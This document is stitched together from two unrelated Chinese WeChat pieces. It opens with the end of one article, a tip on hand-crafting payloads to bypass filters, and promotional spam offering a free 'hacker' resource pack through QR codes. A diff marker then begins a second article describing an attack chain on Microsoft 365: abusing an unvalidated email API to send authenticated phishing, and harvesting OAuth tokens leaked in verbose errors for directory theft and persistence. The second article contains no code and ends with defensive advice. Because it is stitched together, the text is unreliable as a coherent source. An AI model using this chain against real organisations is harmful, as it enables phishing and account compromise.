- 避坑6:过度依赖工具,忽视手动构造payload。实战中过滤规则多样,需根据校验逻辑灵活调整绕过方法,工具无法覆盖所有场景。
全是能直接用的干货:点击链接就能拿到!
[有了这个资源,网安技术学不会你找我!](https://mp.weixin.qq.com/s?__biz=MzU3MjczNzA1Ng==&mid=2247499507&idx=1&sn=b3342a568d226df231f7a371f8e5a0d5&scene=21#wechat_redirect)
想要入行黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取。
关注我,到我公众呺主页发送“学习”或者“黑客”,就能领取到视频教程,我都可以免费分享给大家哦!
![图片](https://mmbiz.qpic.cn/mmbiz_gif/7O8nPRxfRT6lk3oXDrx8qaZiaMDS5XHTATLezRmc0A6yBIw1wmpib4hbgAiaK7CmtV0jMMle98QxC74LPEQhjzqOw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=4 "")
从0到进阶的全套网安教程
[有了这个资源,网安技术学不会你找我!](https://mp.weixin.qq.com/s?__biz=MzU3MjczNzA1Ng==&mid=2247499507&idx=1&sn=b3342a568d226df231f7a371f8e5a0d5&scene=21#wechat_redirect)
可以截图或者直接扫码添加找我拿
**龙哥网络安全**
![图片](https://mmbiz.qpic.cn/mmbiz_jpg/7O8nPRxfRT6lk3oXDrx8qaZiaMDS5XHTADAVDxfT8IlribxZgSN0pTxbRpJsKxHdlsu8vpFTfxSkMuibcRiaIckebg/640?wx_fmt=jpeg&wxfrom=5&wx_lazy=1&watermark=1&tp=webp#imgIndex=5 "")
**扫码添加领取**
**点击蓝字**
![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/ibxqJibmt337FAiaWRcQtUgyiak5dz81n37puYvXjff5AofqGAkjClzzyg4jcUgDucuKloOlGmF8ibYqYQeNHecpezA/640?wx_fmt=png&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=6 "")
**关注我**
[#黑客技术]()
[#挖漏洞]()
[#技术分享]()
[#网络工程师]()
[#零基础小白学黑客技术]()
[#信息安全]()
[#CTF]()
[#网安技术]()
[#计算机专业]()
[#转行网络安全]()
@@ -0,0 +1,44 @@
# 网络钓鱼和 OAuth 令牌漏洞导致 Microsoft 365 全面泄露
原创 网络安全9527
网络安全9527 安全圈的那点事儿 2026-02-07 01:02
两个中等严重程度的漏洞、一个不安全的电子邮件 API 端点以及暴露 OAuth 令牌的详细错误消息,相互关联,使得攻击者能够通过身份验证进行网络钓鱼,绕过所有电子邮件安全控制,并持续访问 Microsoft 365 环境。
虽然 SPF、DKIM 和 DMARC 等协议使得传统的域名欺骗变得困难,但攻击者的手段也在不断演变。他们现在寻求各种方法,发送技术上看似来自组织合法基础设施的电子邮件,从而完全绕过这些过滤器。
现代Web应用程序通过看似无害的功能,日益增加攻击面。本文探讨了两个独立的安全漏洞如何结合起来,形成一条影响巨大的攻击链。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/BicXBAdicJy7Pv7BicMg6bpGIibyK8RRh3vA4fuXbnk9kzPICYJGlamoF91ceTPOLPq9f58wOfiaWXicnWzKQW52028xklyic1IkI4BbFKOtTRVgsU/640?wx_fmt=png&from=appmsg "")
电子邮件仍然是网络攻击的主要入口点。根据Verizon发布的《2025年数据泄露调查报告》,60%的数据泄露事件是由人为因素造成的,而电子邮件通常是最初的攻击途径。
## 漏洞 1:利用合法电子邮件进行攻击
许多网站都设有新闻简报注册表单或“联系我们”页面。实际上,这些都是API 端点(例如 /api/newsletter/subscribe),用于触发对外邮件的发送。
当这些表单缺乏严格的输入验证时,攻击者可以操纵 JSON 有效负载来控制电子邮件的收件人、主题和正文。
由于这些电子邮件是由公司实际的邮件服务器发送的,因此它们通过了所有身份验证检查,并且通常会被垃圾邮件过滤器信任。
攻击者可以利用这种“开放式中继”向员工发送极具迷惑性的钓鱼邮件,这些邮件看似来自“IT支持”或“人力资源”等内部部门,要求员工采取紧急行动。
## 漏洞 2:令牌泄露
第二个缺陷涉及生产环境中的错误处理不当。当攻击者向应用程序发送格式错误的请求(例如省略必填字段)时,配置不当的服务器可能会返回详细的堆栈跟踪信息,以帮助进行调试。
![](https://mmbiz.qpic.cn/mmbiz_png/BicXBAdicJy7OfAHibDKE3Cv8mXA7UWhmBoMUXWsriaGFb3Y3zZZnJk5SfliblRKV2wHFlh6n102EhtxXfqwp5mj9AUBhSlXvVpowzyTYfrCk2KE/640?wx_fmt=png&from=appmsg "")
在现代云应用中,这些错误信息可能会无意中泄露应用程序的内存上下文,包括用于后端身份验证的活动OAuth 2.0持有者令牌。
在这种情况下,暴露的令牌是用于 Microsoft Graph API 的 JSON Web Tokens (JWT)。这些令牌通常授予对用户目录、Teams 频道和 SharePoint 文件广泛的读/写权限。
老练的攻击者会将这些漏洞串联起来,以造成最大影响:
1. 侦察与提取:攻击者触发详细错误信息以提取有效的 OAuth 令牌。
1. 数据窃取:他们利用该令牌查询微软 Graph API 以下载员工目录,从而识别高价值目标。
1. 定向网络钓鱼:攻击者利用存在漏洞的电子邮件终端,向目标用户发送“已认证”的钓鱼邮件。由于这些邮件伪装成合法的内部通信,用户更容易点击恶意链接。
1. 持久性:即使凭证发生更改,攻击者也可以通过重新触发错误情况来重新生成有效令牌,从而维持长期访问权限。
这种攻击路径说明了安全防护为何必须是整体性的。像冗长错误消息这样“中等”严重性的问题,一旦与电子邮件终端滥用相结合,就会变得非常严重。
组织必须对公共表单执行严格的输入验证,并确保生产系统仅返回通用错误消息,以防止敏感数据泄露。